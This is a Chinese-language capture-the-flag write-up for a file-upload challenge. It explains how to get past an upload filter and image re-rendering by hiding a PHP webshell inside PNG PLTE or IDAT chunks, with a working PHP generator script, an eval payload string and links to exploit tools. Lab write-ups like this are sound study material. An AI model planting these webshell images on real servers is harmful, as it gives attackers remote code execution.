/源码:
1 |
|
/example.php:
1 |
|
绕过imageinfo()函数:
1 | #define width 1 |
过滤了c,h,i,在/example.php里面有解压,应该是得解压,上传zip文件,解压之后是php文件就行,i可以用Unicode字符代替绕过(%c4%b0代替i),一看到 imagecreatefrompng
就知道是二次渲染,
第一个生成php脚本(生成的图片的png后缀改为php,然后压缩为zip,构造上传页面上传):
1 |
|
上传页面:
1 | <!DOCTYPE html> |
上传文件时应该
上传成功:
再进行
它存在了example/下名字没变直接查看就行
最后一个一个找flag
第二个就是用这个
https://github.com/huntergregal/PNG-IDAT-Payload-Generator/ 工具
改payload就行:
步骤一样的,直接这个蚁剑链接,上个也可以找一下这个的16进制,换一下就行
直接有了,解压别太快,容易炸
解释
PNG结构
png 支持三种图像类型
- 索引彩色图像(index-color images)
- 灰度图像(grayscale images)
- 真彩色图像(true-color images)
png 标识
png 标识作为 png 图片的头部,为固定的 8 字节
1 | 89 50 4E 47 OD 0A 1A 0A |
数据块
png 定义了两种类型的数据块,一种是称为关键数据块(critical chunk),标准的数据块; 另一种叫做辅助数据块(ancillary chunks),可选的数据块。
关键数据块定义了3个标准数据块,每个 png 文件都必须包含它们。3个标准数据块为: IHDR, IDAT, IEND
这里介绍4个:
- 文件头数据块
IHDR
(header chunk) - 调色板数据块
PLTE
(palette chunk) - 图像数据块
IDAT
(image data chunk) - 图像结束数据
IEND
(image trailer chunk)
每个数据块都由下表所示的的4个域组成。
名称 | 字节数 | 说明 |
---|---|---|
Length(长度) | 4字节 | 指定数据块中数据域的长度,其长度不超过$(2^{31}-1)$字节 |
Chunk Type Code(数据块类型码) | 4字节 | 数据块类型码由ASCII字母(A-Z和a-z)组成 |
Chunk Data(数据块实际内容) | 可变长度 | 存储按照Chunk Type Code指定的数据 |
CRC(循环冗余检测) | 4字节 | 存储用来检测是否有错误的循环冗余码 |
其中CRC(cyclic redundancy check)域中的值是对Chunk Type Code域和Chunk Data域中的数据进行计算得到的,可以看做一种校验码
文件头数据块IHDR(header chunk):
它包含有PNG文件中存储的图像数据的基本信息,并要作为第一个数据块出现在PNG数据流中,而且一个PNG数据流中只能有一个文件头数据块。
调色板数据块PLTE(palette chunk):
它包含有与索引彩色图像((indexed-color image))相关的彩色变换数据,它仅与索引彩色图像有关,而且要放在图像数据块(image data chunk)之前。真彩色的PNG数据流也可以有调色板数据块,目的是便于非真彩色显示程序用它来量化图像数据,从而显示该图像。结构如下:
颜色 | 字节 | 意义 |
---|---|---|
Red | 1 byte | 0 = 黑色, 255 = 红 |
Green | 1 byte | 0 = 黑色, 255 = 绿色 |
Blue | 1 byte | 0 = 黑色, 255 = 蓝色 |
1 | PLTE数据块是定义图像的调色板信息,PLTE可以包含1~256个调色板信息,每一个调色板信息由3个字节组成,因此调色板数据块所包含的最大字节数为768,调色板的长度应该是3的倍数,否则,这将是一个非法的调色板。 |
- 图像数据块IDAT(image data chunk):
它存储实际的数据,在数据流中可包含多个连续顺序的图像数据块。
IDAT存放着图像真正的数据信息
图像结束数据IEND(image trailer chunk):
它用来标记PNG文件或者数据流已经结束,并且必须要放在文件的尾部。
1
00 00 00 00 49 45 4E 44 AE 42 60 82
由于数据块结构的定义,IEND数据块的长度总是0(00 00 00 00,除非人为加入信息),数据标识总是IEND(49 45 4E 44),因此,CRC码也总是AE 42 60 82
写🐎思路
了解了png结构之后,我们大概有两种思路构造webshell
向PLTE插入php代码
https://github.com/hxer/imagecreatefrom-/tree/master/png/analysis
分析底层源码可知, png signature 是不可能插入 php 代码的; IHDR 存储的是 png 的图片信息,有固定的长度和格式,程序会提取图片信息数据进行验证,很难插入 php 代码;而 PLTE 主要进行了 CRC 校验和颜色数合法性校验等简单的校验,那么很可能在 data 域插入 php 代码。
从对 PLTE chunk 验证的分析可知, 当原始图片格式给索引图片时,PLTE 数据块在满足 png 格式规范的情况下,程序还会进行 CRC 校验和长度合法性验证。因此,要将 PHP 代码写入 PLTE 数据块,不仅要修改 data 域的内容为php代码,然后修改 CRC 为正确的 CRC 校验值,当要填充的代码过长时,可以改变 length 域的数值,满足 length 为3的倍数, 且颜色数不超过色深中规定的颜色数。例如: IHDR 数据块中 Bit depth 为 08, 则最大的颜色数为 2^8=256, 那么 PLTE 数据块 data 的长度不超过 3*256=0x300。 这个长度对写入 php 一句话木马或者创建后门文件足够了。
通过文章的exp构造的webshell,能过只有
imagecreatefrompng
和imagepng
的。但是经过题目
imagecrop
这种裁剪,会被有规律的吞掉解决方案是可以硬调:
1
2*/$<?=_GET/**/[fghijk;/*(/*rstuvw0])*/e$%^val/*+//
//就问这是人能调出来的么?<?=eval($_GET[0]);向IDAT插入php代码
原理剖析:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
exp:https://github.com/huntergregal/PNG-IDAT-Payload-Generator/
当然也可以使用php版本的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
<?php $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33); $img = imagecreatetruecolor(32, 32); for ($y = 0; $y < sizeof($p); $y += 3) { $r = $p[$y]; $g = $p[$y+1]; $b = $p[$y+2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3), 0, $color); } imagepng($img,'wh1sper.php');//要修改的图片的路径 /* 木马内容 <?$_GET[0]($_POST[1]);?> */
网上的wp大多都用的第二种方法,用python的exp。然后是把
$_GET[0]
改成了EVAL
,然后需要按照算法计算一下crchttps://blog.csdn.net/miuzzx/article/details/116885083
https://lemonprefect.cn/zh-cn/posts/7c083fa1#imagecreatefrompng-bypass
使用参考的 Repo 中的代码可以生成一个长度为 25 的任意 PHP payload 的正方形图片,只需要将自带的 payload 经过 Raw Deflate 之后再 Inflate 即可
题外话
这个姿势并不是新东西,在upload-labs17和DDCTF都出现过,没做出来还是说明题刷少了
另外还有其他图片的二次渲染具体可以看看:https://www.sqlsec.com/2020/10/upload.html#toc-heading-17
参考链接:https://blog.wh1sper.com/posts/ciscn-2021-quals-writeup/#upload